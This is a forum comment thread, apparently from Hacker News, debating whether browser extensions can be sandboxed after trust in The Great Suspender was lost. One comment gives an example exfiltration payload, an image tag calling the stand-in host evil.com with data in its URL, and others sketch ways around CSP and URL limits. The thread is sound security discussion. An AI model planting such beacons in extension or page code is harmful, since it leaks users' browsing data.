News for hackers. Stuff that matters.

A comment on I no longer trust The Great Suspender. Parent comment

Re:I no longer trust The Great Suspender by nitrogen on Wednesday January 20, 2021 @11:36AM (#25848442)
Do extensions require any permissions to make requests? It seems like a strict sandbox that prevents data from flowing out of a page via an extension would help, if the extension is something like a JSON renderer.
[ Parent | on HN ]
Re:I no longer trust The Great Suspender by londons_explore on Wednesday January 20, 2021 @11:42AM (#25848544)
Most extensions need the ability to modify webpages. With that ability, they can easily exfiltrate data by for example adding a <img src=evil.com/?data=82374682376>.

Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.

[ Parent | on HN ]
Re:I no longer trust The Great Suspender by nitrogen on Wednesday January 20, 2021 @12:59PM (#25849584)
Trying to sandbox an extension that can modify arbitrary webpages in arbitrary ways is near futile.

Just don't let them create script elements, or add any URLs that don't come from within the extension bundle itself. Browsers already have to do a ton of bookkeeping to track the origins of requests anyway. Doesn't seem hard, you just have to be thorough.

[ Parent | on HN ]
Re:I no longer trust The Great Suspender by Dylan16807 on Wednesday January 20, 2021 @02:24PM (#25850735)
Restricting the extension to pre-baked URLs means it takes several page loads to exfiltrate something, but doesn't stop it.
[ Parent | on HN ]
Re:I no longer trust The Great Suspender by londons_explore on Wednesday January 20, 2021 @01:03PM (#25849639)
There would be ways to trick the original page into adding stuff for you.

For example, you could patch some of the original script of the page and wait for it to be run.

[ Parent | on HN ]
Re:I no longer trust The Great Suspender by angry_octet on Wednesday January 20, 2021 @12:39PM (#25849327)
Couldn't CSP be used to limit which paths were valid URLs?

There could also be hierarchies of extension permissions, because they don't all need to be able to do everything.

[ Parent | on HN ]
Re:I no longer trust The Great Suspender by gruez on Wednesday January 20, 2021 @12:46PM (#25849424)
extensions can also remove/add CSPs I think, either through modifying the header or modifying the DOM.
[ Parent | on HN ]
Re:I no longer trust The Great Suspender by angry_octet on Wednesday January 20, 2021 @12:58PM (#25849562)
Yes, but you could strictly limit which extensions had that permission, make it a site specific permission, etc. Auto disabling an extension that changes to require that permission would be a start.
[ Parent | on HN ]